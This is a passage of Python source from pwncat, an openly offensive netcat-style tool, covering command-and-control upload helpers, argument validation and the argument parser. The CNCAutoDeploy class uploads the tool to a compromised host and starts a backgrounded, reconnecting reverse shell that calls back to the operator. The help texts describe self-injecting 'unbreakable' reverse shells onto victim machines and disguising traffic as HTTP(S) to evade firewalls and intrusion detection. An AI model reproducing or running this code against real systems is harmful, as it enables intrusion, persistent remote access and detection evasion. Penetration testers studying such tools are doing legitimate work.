        command.append("h,f=tempfile.mkstemp();")
        if self.__remote_py3:
            command.append("print(f);")
        else:
            command.append("print f;")
        command.append("'")
        response = self.remote_command("".join(command), True)

        # All good
        if response is not None and len(response) == 1:
            tmpfile = StringEncoder.decode(response[0]).rstrip()
            self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
            return tmpfile

        # Something went wrong with stripping prefix from server, we need to manually
        # check if creation was successful.
        if response is not None and len(response) > 1:
            # A bit fuzzy, but we try a few times
            for _ in range(5):
                self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True)
                for candidate in response:
                    tmpfile = StringEncoder.decode(candidate).rstrip()
                    if self.remote_file_exists(tmpfile):
                        self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
                        return tmpfile

        self.print_info("Creating tmpfile: Failed", True, True)
        self.print_info("Response: {}".format(repr(response)))
        return None

    def remote_file_exists(self, remote_path):
        # type: (str) -> bool
        """Ensure given remote path exists as a file on remote end.

        Args:
            remote_path (str): Path of file to check.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        self.flush_receive()

        # String should be short as an unstable remote might send small chunks
        unique_string = "_pwncat_"
        response = self.remote_command(
            'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
        )
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate) == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        response = self.flush_receive()
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        return False

    def upload(self, lpath, rpath):
        # type: (str, str) -> bool
        """OS-independent upload of a local file to a remote path.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        assert self.__remote_python is not None
        assert self.__remote_py3 is not None

        rpath_b64 = self.create_remote_tmpfile()
        self.flush_receive()
        if rpath_b64 is None:
            return False
        if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True):
            return False
        if not self.__remote_base64_decode(rpath_b64, rpath):
            return False
        return True

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_remote_prefix(self):
        # type: () -> None
        """Determines if the remote always sends a specific prefix with its other data."""
        self.__remote_prefix = []
        self.__remote_suffix = []

        has_suffix = False

        self.print_info("Checking if remote sends prefix/suffix to every request...")
        response = self.send_recv(b'echo "__pwn__"\n')
        expected = b"__pwn__"

        if response:
            for line in response:
                # If the line begins with our expected response, all data after that
                # is a suffix that the server might be sending.
                if re.match(expected, line):
                    has_suffix = True
                    # If bytes are still left after our response, add it
                    if line.replace(expected, b"", 1):
                        self.__remote_suffix.append(line.replace(expected, b"", 1))
                    continue
                if has_suffix:
                    self.__remote_suffix.append(line)

        # Ensure empty elements are removed
        self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix))
        self.__remote_suffix = [item for item in self.__remote_suffix if item]
        self.__log.debug("Set suffix after:  %s", repr(self.__remote_suffix))

        if self.__remote_prefix:
            self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix)))
            for line in self.__remote_prefix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send prefix")
        if self.__remote_suffix:
            self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix)))
            for line in self.__remote_suffix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send suffix")

    def __get_remote_python_version(self, path):
        # type: (str) -> Optional[str]
        """Get remote Python version by path.

        Args:
            path (str): Path to potential python binary.

        Returns:
            Optional[str]: Python version string or None if not found.
        """
        command = []
        command.append("{} -c '".format(path))
        command.append("from __future__ import print_function;")
        command.append("import sys;")
        command.append("v=sys.version_info;")
        command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'')

        response = self.remote_command("".join(command), True)

        if response is not None and response:
            for line in response:
                match = re.search(b"^([.0-9]+)", line)
                # Potential version candidate
                if match:
                    version = StringEncoder.decode(match.group(1))
                    if version[0] in ["2", "3"]:
                        return version
        return None

    def __set_remote_python_path(self):
        # type: () -> bool
        """Enumerate remote Python binary.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # TODO: Make windows compatible
        # [1/2] 'which' method
        for name in self.__PYTHON_NAMES:
            self.print_info("Probing for: which {}".format(name))
            response = self.remote_command("which {} 2>/dev/null".format(name), True)
            if response is not None and response:
                for line in response:
                    path = StringEncoder.decode(line)
                    self.print_info("Potential path: {}".format(path))
                    version = self.__get_remote_python_version(path)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = path
                    return True

        # TODO: Make windows compatible
        # [2/2] Absolute path method
        for path in self.__PYTHON_PATHS:
            for name in self.__PYTHON_NAMES:

                python = path + "/" + name
                self.print_info("Probing for: {}".format(python))
                rpath_lines = self.remote_command(
                    "test -f {p} && echo {p} || echo".format(p=python), True
                )
                if rpath_lines is not None and rpath_lines:
                    # Reset current round
                    path_found = False

                    # We expect a length of one, but we handle errors as well.
                    for rpath_line in rpath_lines:
                        if StringEncoder.decode(rpath_line).rstrip() == python:
                            path_found = True
                            break
                    if not path_found:
                        continue

                    # Potential python candidate
                    self.print_info("Potential path: {}".format(python))
                    version = self.__get_remote_python_version(python)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = python
                    return True
        return False

    def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False):
        # type: (str, str, bool) -> bool
        """Upload a local file to a base64 encoded remote file.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.
            at_once (bool): Send all data at once.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        first = True
        data = []  # type: List[str]

        with open(lpath, "r") as fhandle:
            lines = fhandle.readlines()
            count = len(lines)
            curr = 1
            for line in lines:
                if not at_once:
                    self.print_info(
                        "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True
                    )
                b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line)))
                if first:
                    if at_once:
                        data.append('echo "{}" > "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False)
                    first = False
                else:
                    if at_once:
                        data.append('echo "{}" >> "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False)
                curr += 1

        if at_once:
            self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1))
            self.remote_command("\n".join(data), False)
        else:
            self.print_info()

        # TODO: md5 check if this is legit
        return True

    def __remote_base64_decode(self, rpath_source, rpath_target):
        # type: (str, str) -> bool
        """Decode a remote base64 encoded file with pure Python.

        Args:
            rpath_source (str): The remote path to the existing base64 encoded file.
            rpath_target (str): The remote path to the desired base64 decoded file.

        Returns:
            bool: Returns `True` on success or `False` on failure.
        """
        self.flush_receive()

        command = []
        command.append("{} -c 'import base64;".format(self.__remote_python))
        command.append('f=open("{}", "r");'.format(rpath_source))
        command.append("lines = f.readlines();")
        if self.__remote_py3:
            command.append(
                'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\''
            )
        else:
            command.append('print "".join([base64.b64decode(l) for l in lines]);\'')
        command.append('> "{}"'.format(rpath_target))

        self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target))
        self.remote_command("".join(command), False)
        # TODO: validate via md5
        return True


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (3/3) CNCAutoDeploy
# -------------------------------------------------------------------------------------------------
class CNCAutoDeploy(CNC):
    """Command&Control pwncat auto deployment class."""

    def __init__(
        self,
        network,  # type: IONetwork
        cmd,  # type: str
        host,  # type: str
        ports,  # type: List[int]
    ):
        # type: (...) -> None
        try:
            super(CNCAutoDeploy, self).__init__(network)
        except CNCPythonNotFound:
            return

        local_path = os.path.abspath(__file__)
        remote_path = self.create_remote_tmpfile()
        remote_stdout = self.create_remote_tmpfile()
        remote_stderr = self.create_remote_tmpfile()
        if remote_path is None:
            self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.")
            return
        if not self.upload(local_path, remote_path):
            self.print_info("Unable to upload file. Aborting and handing over to current shell.")
            return
        self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr)

        # We need to wait some time for slow severs
        self.print_info("Waiting for socket")
        time.sleep(2)
        self.flush_receive()

        self.print_info("Done. Handing over to current shell.")
        return

    def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr):
        # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None
        for port in ports:
            command = []
            command.append("nohup")
            command.append(self.remote_python)
            command.append(remote_path)
            command.append(host)
            command.append(str(port))
            command.append("--exec {}".format(binary))
            command.append("--reconn")
            command.append("--reconn-wait 1")
            if stdout is not None and stderr is not None:
                command.append("> {}".format(stdout))
                command.append("2> {}".format(stderr))
            elif stdout is not None:
                command.append("> {} 2>&1".format(stdout))
            elif stderr is not None:
                command.append("> {} 2>&1".format(stderr))
            command.append("&")
            data = " ".join(command)
            print("Starting pwncat rev shell: {}".format(data))
            self.remote_command(data, False)


# #################################################################################################
# #################################################################################################
# ###
# ###   10 / 11   C O M M A N D   L I N E   A R G U M E N T S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [19/11 COMMAND LINE ARGUMENTS]: (1/2) Helper Functions
# -------------------------------------------------------------------------------------------------
def get_version():
    # type: () -> str
    """Return version information."""
    return """%(prog)s: Version %(version)s (%(url)s) by %(author)s""" % (
        {"prog": APPNAME, "version": VERSION, "url": APPREPO, "author": "cytopia"}
    )


class ArgValidator(object):
    """Validate command line arguments."""

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def __get_port_list_by_comma(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a comma separated string or empty list if invalid."""
        ports = []
        match = re.search(r"^[0-9]+(,([0-9]+))*$", value)
        if match is not None:
            ports = [int(port) for port in match.group(0).split(",")]
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_range(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a range string or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\-[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("-")]
            ports = list(range(ranges[0], ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_incr(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an increment or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\+[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("+")]
            ports = list(range(ranges[0], ranges[0] + ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    # --------------------------------------------------------------------------
    # Helper Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def is_valid_port(value):
        # type: (int) -> bool
        """Returns True if a given value is a valid port."""
        return 0 < value < 65536

    @staticmethod
    def is_valid_port_list(value):
        # type: (str) -> bool
        """Returns True if a given value is a valid port list by comma or range."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        # XOR - only one method (comma, range or increment) is allowed
        if cports and not rports and not iports:
            return True
        if rports and not cports and not iports:
            return True
        if iports and not cports and not rports:
            return True
        return False

    @staticmethod
    def get_port_list_from_string(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an comma, range or increment."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        return cports + rports + iports

    # --------------------------------------------------------------------------
    # Generic Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_port(value):
        # type: (str) -> int
        """Check argument for valid port."""
        if not ArgValidator.is_valid_port(int(value)):
            raise argparse.ArgumentTypeError("%s is an invalid port number." % value)
        return int(value)

    @staticmethod
    def type_port_list(value):
        # type: (str) -> List[int]
        """Check argument for valid port list separated by comma or range number."""
        rports = ArgValidator.__get_port_list_by_range(value)
        cports = ArgValidator.__get_port_list_by_comma(value)
        iports = ArgValidator.__get_port_list_by_incr(value)

        # Only use comma, range or increment!
        if (rports and cports) or (rports and iports) or (cports and iports):
            raise argparse.ArgumentTypeError(
                "%s is invalid. Can only use comma, range or increment." % value
            )
        if not rports and not cports and not iports:
            raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value)
        # Return whichever has a value
        return rports + cports + iports

    @staticmethod
    def type_file_content(value):
        # type: (str) -> str
        """Check argument for valid file content (file must exist and be readable)."""
        if not os.path.isfile(value):
            raise argparse.ArgumentTypeError("File not found: %s" % value)
        with open(value, mode="r") as fhandle:
            script = fhandle.read()
        return script

    # --------------------------------------------------------------------------
    # Specific Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_tos(value):
        # type: (str) -> str
        """Check argument for valid --tos value."""
        if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]:
            raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value)
        return value

    @staticmethod
    def type_info(value):
        # type: (str) -> str
        """Check argument for valid --info value."""
        if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]:
            raise argparse.ArgumentTypeError("%s is an invalid info definition." % value)
        return value

    @staticmethod
    def type_crlf(value):
        # type: (Optional[str]) -> Optional[str]
        """Check argument for valid --crlf value."""
        if value is None:
            return None
        if value.lower() in ["crlf", "lf", "cr", "no"]:
            return value.lower()
        raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value)

    @staticmethod
    def type_color(value):
        # type: (str) -> str
        """Check argument for valid --color value."""
        if value not in ["auto", "always", "never"]:
            raise argparse.ArgumentTypeError("%s is an invalid color definition." % value)
        return value

    @staticmethod
    def type_local(value):
        # type: (str) -> str
        """Check argument for valid -L/--local value."""
        match = re.search(r"^(.+:)?([0-9]+)$", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)

        if match.group(1) is None:
            return ":" + match.group(2)
        return value

    @staticmethod
    def type_remote(value):
        # type: (str) -> str
        """Check argument for valid -R/--remote value."""
        match = re.search(r"(.+):(.+)", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)
        return value

    @staticmethod
    def type_self_inject(value):
        # type: (str) -> str
        """Check argument for valid --self-inject value."""
        opts = value.split(":")
        if len(opts) != 3:
            raise argparse.ArgumentTypeError("%s is not a valid cmd:host:port[s] pattern." % value)
        if not ArgValidator.is_valid_port_list(opts[-1]):
            raise argparse.ArgumentTypeError("%s is an invalid port definition." % value)
        return value


def _args_check_mutually_exclusive(parser, args):
    # type: (argparse.ArgumentParser, argparse.Namespace) -> None
    """Check mutually exclusive arguments."""
    # This is connect mode
    connect_mode = not args.listen and not args.zero and not args.local and not args.remote

    # [MODE] --listen
    if args.listen and (args.zero or args.local or args.remote):
        parser.print_usage()
        print(
            "%s: error: -l/--listen mutually excl. with -z/-zero, -L or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE] --zero
    if args.zero and (args.listen or args.local or args.remote):
        parser.print_usage()
        print(
            "%s: error: -z/--zero mutually excl. with -l/--listen, -L or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE]--local
    if args.local and (args.listen or args.zero or args.remote):
        parser.print_usage()
        print(
            "%s: error: -L/--local mutually excl. with -l/--listen, -z/--zero or -R" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODE] --remote
    if args.remote and (args.listen or args.zero or args.local):
        parser.print_usage()
        print(
            "%s: error: -R/--remote mutually excl. with -l/--listen, -z/--zero or -L" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [MODULE] --exec
    if args.cmd and (args.local or args.remote or args.zero):
        parser.print_usage()
        print(
            "%s: error: -e/--exec mutually excl. with -L, -R or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] -4 and -6
    if args.ipv4 and args.ipv6:
        parser.print_usage()
        print(
            "%s: error: -4 and -6 are mutually exclusive" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] --source-addr/--source-port
    if not connect_mode and (args.source_port or args.source_addr):
        print(
            "%s: error: --source-addr and --source-port can only be used in connect mode."
            % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [OPTIONS] --source-addr/--source-port
    if (args.source_port and not args.source_addr) or (not args.source_port and args.source_addr):
        print(
            "%s: error: --source-addr and --source-port are both required." % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --http
    if args.http and (args.https or args.udp or args.zero):
        parser.print_usage()
        print(
            "%s: error: --http mutually excl. with --https, -u/--udp or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --https
    if args.https and (args.http or args.udp or args.zero):
        parser.print_usage()
        print(
            "%s: error: --https mutually excl. with --http, -z/--udp or -z/--zero" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --keep-open
    if args.keep_open and (args.udp):
        parser.print_usage()
        print(
            "%s: error: --keep-open mutually excl. with -u/--udp" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)
    if args.keep_open and not args.listen:
        parser.print_usage()
        print(
            "%s: error: --keep-open only works with -l/--listen" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --reconn
    if args.reconn != 0 and not connect_mode:
        parser.print_usage()
        print(
            "%s: error: --reconn only works in connect mode" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --ping-init
    if args.ping_init is not False and (args.listen or args.local):
        parser.print_usage()
        print(
            "%s: error: --ping-init mutually excl. with -l/--listen or -L/--local" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # [ADVANCED] --udp-sconnect
    if args.udp_sconnect and not connect_mode:
        parser.print_usage()
        print(
            "%s: error: --udp-sconnect only works in connect mode" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)


# -------------------------------------------------------------------------------------------------
# [10/11 COMMAND LINE ARGUMENTS]: (2/2) Argument Parser
# -------------------------------------------------------------------------------------------------
def get_args():
    # type: () -> argparse.Namespace
    """Retrieve command line arguments."""
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawTextHelpFormatter,
        add_help=False,
        usage="""%(prog)s [options] hostname port
       %(prog)s [options] -l [hostname] port
       %(prog)s [options] -z hostname port
       %(prog)s [options] -L [addr:]port hostname port
       %(prog)s [options] -R addr:port hostname port
       %(prog)s -V, --version
       %(prog)s -h, --help
       """
        % ({"prog": APPNAME}),
        description="""
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.""",
    )

    positional = parser.add_argument_group("positional arguments")
    mode = parser.add_argument_group("mode arguments")
    optional = parser.add_argument_group("optional arguments")
    protocol = parser.add_argument_group("protocol arguments")
    cnc = parser.add_argument_group("command & control arguments")
    pse = parser.add_argument_group("pwncat scripting engine")
    zero = parser.add_argument_group("zero-i/o mode arguments")
    lmode = parser.add_argument_group("listen mode arguments")
    cmode = parser.add_argument_group("connect mode arguments")
    misc = parser.add_argument_group("misc arguments")

    # --------------------------------------------------------------------------
    # Positional arguments
    # --------------------------------------------------------------------------
    positional.add_argument(
        "hostname",
        nargs="?",
        type=str,
        help="""Address to listen, forward, scan or connect to.

""",
    )
    positional.add_argument(
        "port",
        type=ArgValidator.type_port_list,
        help="""[All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list:  4444,4445,4446
Via range: 4444-4446
Via incr:  4444+2
""",
    )

    # --------------------------------------------------------------------------
    # Mode arguments
    # --------------------------------------------------------------------------
    mode.add_argument(
        "-l",
        "--listen",
        action="store_true",
        default=False,
        help="""[Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.

""",
    )
    mode.add_argument(
        "-z",
        "--zero",
        action="store_true",
        default=False,
        help="""[Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.

""",
    )
    mode.add_argument(
        "-L",
        "--local",
        metavar="[addr:]port",
        type=ArgValidator.type_local,
        default=False,
        help="""[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)

""",
    )
    mode.add_argument(
        "-R",
        "--remote",
        metavar="addr:port",
        type=ArgValidator.type_remote,
        default=False,
        help="""[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.
""",
    )

    # --------------------------------------------------------------------------
    # Optional arguments
    # --------------------------------------------------------------------------
    optional.add_argument(
        "-e",
        "--exec",
        metavar="cmd",
        type=str,
        default=False,
        dest="cmd",
        help="""Execute shell command. Only for connect or listen mode.

""",
    )
    # TODO: add --crlf-i and --crlf-o to only do this on input or output and have
    # --crlf to always do it on input and output!
    optional.add_argument(
        "-C",
        "--crlf",
        metavar="lf",
        type=ArgValidator.type_crlf,
        default=None,
        help="""Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).

""",
    )
    optional.add_argument(
        "-n",
        "--nodns",
        action="store_true",
        default=False,
        help="""Do not resolve DNS.

""",
    )
    optional.add_argument(
        "--send-on-eof",
        action="store_true",
        default=False,
        help="""Buffer data received on stdin until EOF and send
everything in one chunk.

""",
    )
    optional.add_argument(
        "--no-shutdown",
        action="store_true",
        default=False,
        help="""Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.

""",
    )
    optional.add_argument(
        "-v",
        "--verbose",
        action="count",
        default=0,
        help="""Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.

""",
    )
    optional.add_argument(
        "--info",
        metavar="type",
        type=ArgValidator.type_info,
        default=None,
        help="""Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).

""",
    )
    optional.add_argument(
        "-c",
        "--color",
        metavar="str",
        type=ArgValidator.type_color,
        default="auto",
        help="""Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)

""",
    )
    optional.add_argument(
        "--safe-word",
        metavar="str",
        type=str,
        default=None,
        help="""All modes:
If %(prog)s is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.
"""
        % ({"prog": APPNAME}),
    )

    # --------------------------------------------------------------------------
    # Protocol arguments
    # --------------------------------------------------------------------------
    protocol.add_argument(
        "-4",
        dest="ipv4",
        action="store_true",
        default=False,
        help="""Only Use IPv4 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-6",
        action="store_true",
        default=False,
        dest="ipv6",
        help="""Only Use IPv6 (default: IPv4 and IPv6 dualstack).

""",
    )
    protocol.add_argument(
        "-u",
        "--udp",
        action="store_true",
        default=False,
        help="""Use UDP for the connection instead of TCP.

""",
    )
    protocol.add_argument(
        "-T",
        "--tos",
        metavar="str",
        type=ArgValidator.type_tos,
        default=None,
        help="""Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.

""",
    )
    protocol.add_argument(
        "--http",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "--https",
        action="store_true",
        default=False,
        help="""Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.

""",
    )
    protocol.add_argument(
        "-H",
        "--header",
        metavar="str",
        nargs="*",
        default=[],
        help="""Add HTTP headers to your request when using --http(s).""",
    )

    # --------------------------------------------------------------------------
    # Command & Control arguments
    # --------------------------------------------------------------------------
    cnc.add_argument(
        "--self-inject",
        metavar="cmd:host:port[s]",
        type=ArgValidator.type_self_inject,
        default=None,
        help="""Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.
""",
    )

    # --------------------------------------------------------------------------
    # PSE arguments
    # --------------------------------------------------------------------------
    pse.add_argument(
        "--script-send",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().

""",
    )
    pse.add_argument(
        "--script-recv",
        metavar="file",
        type=ArgValidator.type_file_content,
        default=None,
        help="""All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
    # NOTE: the function name must be 'transform'
    # NOTE: the function param name must be 'data'
    # NOTE: indentation must be 4 spaces
    # ... your transformations goes here
    return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
""",
    )

    # --------------------------------------------------------------------------
    # Zero-I/O mode arguments
    # --------------------------------------------------------------------------
    zero.add_argument(
        "--banner",
        action="store_true",
        default=False,
        help="""Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.
""",
    )

    # --------------------------------------------------------------------------
    # Listen mode arguments
    # --------------------------------------------------------------------------
    lmode.add_argument(
        "-k",
        "--keep-open",
        action="store_true",
        default=False,
        help="""Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)

""",
    )
    lmode.add_argument(
        "--rebind",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).

""",
    )
    lmode.add_argument(
        "--rebind-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)

""",
    )
    lmode.add_argument(
        "--rebind-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
""",
    )

    # --------------------------------------------------------------------------
    # Connect mode arguments
    # --------------------------------------------------------------------------
    cmode.add_argument(
        "--source-addr",
        metavar="addr",
        type=str,
        default=None,
        dest="source_addr",
        help="""Specify source bind IP address for connect mode.

""",
    )
    cmode.add_argument(
        "--source-port",
        metavar="port",
        type=ArgValidator.type_port,
        default=None,
        dest="source_port",
        help="""Specify source bind port for connect mode.

""",
    )
    cmode.add_argument(
        "--reconn",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Connect mode (TCP and UDP):
